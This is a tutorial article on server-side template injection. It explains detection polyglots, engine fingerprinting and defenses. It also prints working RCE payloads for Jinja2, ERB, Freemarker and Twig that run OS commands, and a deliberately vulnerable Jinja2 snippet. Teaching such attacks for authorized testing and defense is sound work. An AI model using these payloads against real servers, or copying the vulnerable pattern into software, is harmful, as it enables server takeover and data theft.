SSTI (server-side template injection) is one of the highest-impact classes among web-app vulnerabilities. As PortSwigger defines it, "an attacker injects a malicious payload in the template's native syntax, and it's executed server-side," often connecting directly to remote code execution (RCE) — i.e., server takeover. This article explains those attack techniques faithfully to the official source.
An absolute premise: since SSTI easily reaches RCE, it's extremely invasive. Execute only within a legal lab or a scope authorized in writing. Demonstrating RCE in production has enormous impact, so agree on the authorized range and procedure with the client in advance (→ the legal guide). The map is the pillar.
1. The essence of SSTI — concatenating input as "code"
A template engine (Jinja2, Twig, Freemarker, ERB…) generates HTML by replacing placeholders like {{ name }} with real data. The problem is when you concatenate user input itself into the template string.
# ❌ 脆弱:ユーザー入力 name をテンプレート「コード」に連結している(Jinja2)
from jinja2 import Template
output = Template("Dear " + request.args["name"]).render()
# └─ ここに {{7*7}} を入れると、サーバーが評価する
# ✅ 安全:入力は「データ」としてレンダ変数で渡す(テンプレートは固定)
output = Template("Dear {{ name }}").render(name=request.args["name"])
Pass name={{7*7}} to the vulnerable example above, and the output is Dear 49. Proof that code was evaluated on the server.
2. Detection — polyglots and arithmetic evaluation
PortSwigger's methodology is three stages: detect → identify the engine → exploit. First, detection.
2.1 "Break" it with a polyglot
Throw a polyglot that contains special characters of multiple engines at once, and observe errors or anomalous responses.
${{<%[%'"}}%\
If an error (exception, stack trace, 500) appears, it's likely reaching template processing.
2.2 Evaluate arithmetic by context
PortSwigger distinguishes two contexts.
- Plaintext context: embedded directly into the output. Insert
${7*7}or{{7*7}}, and if49comes back, it's confirmed. - Code context: it goes inside an existing expression (e.g.
greeting=data.name). First close the expression, then inject (break out with}}or").
# プレーンテキスト文脈
{{7*7}} → 49 なら Jinja2/Twig 系
${7*7} → 49 なら Freemarker/一部エンジン
<%= 7*7 %> → 49 なら ERB(Ruby)
#{7*7} → 49 なら 一部エンジン
3. Engine identification — exploitation payloads are engine-dependent
Because the exploitation method differs entirely by which engine, identification is the key to exploitation. Distinguish by how {{7*7}} and ${7*7} behave, the wording of error messages, and engine-specific syntax.
# 切り分けの例
{{7*7}} が 49、{{7*'7'}} が 7777777 → Jinja2(Python)
{{7*7}} が 49、{{7*'7'}} が 49 → Twig(PHP)
${7*7} が 49 → Freemarker(Java) / 一部
<%= 7*7 %> が 49 → ERB(Ruby)
If a library name (jinja2, Twig\Error, etc.) appears in the error message, you can identify it in one shot.
4. Exploitation — from information disclosure to RCE
4.1 Jinja2 (Python) — traverse the object graph
In Jinja2, traverse subclasses from a built-in object to reach dangerous functions (os.popen, etc.).
# 設定値や環境を覗く(情報漏洩)
{{ config }}
{{ config.items() }}
# RCEへ:サブクラス経由で OS コマンドを実行する古典的経路(概念・lab限定)
{{ ''.__class__.__mro__[1].__subclasses__() }} # 利用可能なクラスを列挙
{{ cycler.__init__.__globals__.os.popen('id').read() }} # コマンド実行
4.2 ERB (Ruby) / Freemarker (Java) / Twig (PHP)
# ERB(Ruby):素直にシステムコマンドを書ける
<%= system("id") %>
<%= `id` %>
# Freemarker(Java):実行系オブジェクトを生成
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
# Twig(PHP):フィルタ経由で関数呼び出し
{{ ['id'] | filter('system') }}
An important perspective: even though SSTI looks at first like "just arithmetic being evaluated," it differs from XSS by an order of magnitude in impact, in that arbitrary code runs on the server. A pro judges "this can become RCE" the instant they see
{{7*7}}=49.
5. [Defender side] Root-cause defenses
The conclusion of PortSwigger and OWASP is clear.
# ✅ 最大の対策:ユーザー入力を「テンプレート」にしない。常に「データ」で渡す
template = env.get_template("greeting.html") # テンプレートは固定の信頼済みファイル
html = template.render(name=user_input) # 入力は変数として注入されるだけ(安全)
Design principles:
- Don't concatenate user input into a template string (most important). Always pass input as a render variable = data.
- Don't allow users to edit templates. If absolutely needed:
- Use a logic-less engine (Mustache, etc.) to cut off the room for arbitrary code evaluation.
- Sandbox it (evaluate untrusted templates in an isolated environment). But don't over-trust it, since sandbox-escape research exists.
- Isolate in a least-privilege container to contain the damage even if RCE occurs.
- Defense in depth: WAF, output monitoring, least-privilege process execution. These are insurance, not "a substitute for design."
SSTI is two sides of the same coin as the design decision of "opening templates to users as a feature" (customizing email bodies, etc.). The most reliable defense is to question from "is that feature really needed (YAGNI)." For how to crush it at the design stage with threat modeling, see the STRIDE threat-modeling guide.
6. Summary
- The essence: concatenating user input as template "code" gets code evaluated on the server.
- Detection: polyglot
${{<%[%'"}}%\→ if the arithmetic{{7*7}}/${7*7}is49, it's confirmed. - Engine identification is the key: distinguish Jinja2/Twig/Freemarker/ERB with
{{7*'7'}}, etc. - Exploitation: traverse the object graph to RCE. Unlike XSS, server execution = enormous impact.
- Root-cause defense: don't make input a template. If needed, logic-less / sandbox / least-privilege isolation.
That completes the major attack techniques of this cluster. To sublimate the understanding of attacks into defensive design, go back to the pillar for an overview, and hone real-world practice legally with bug bounties.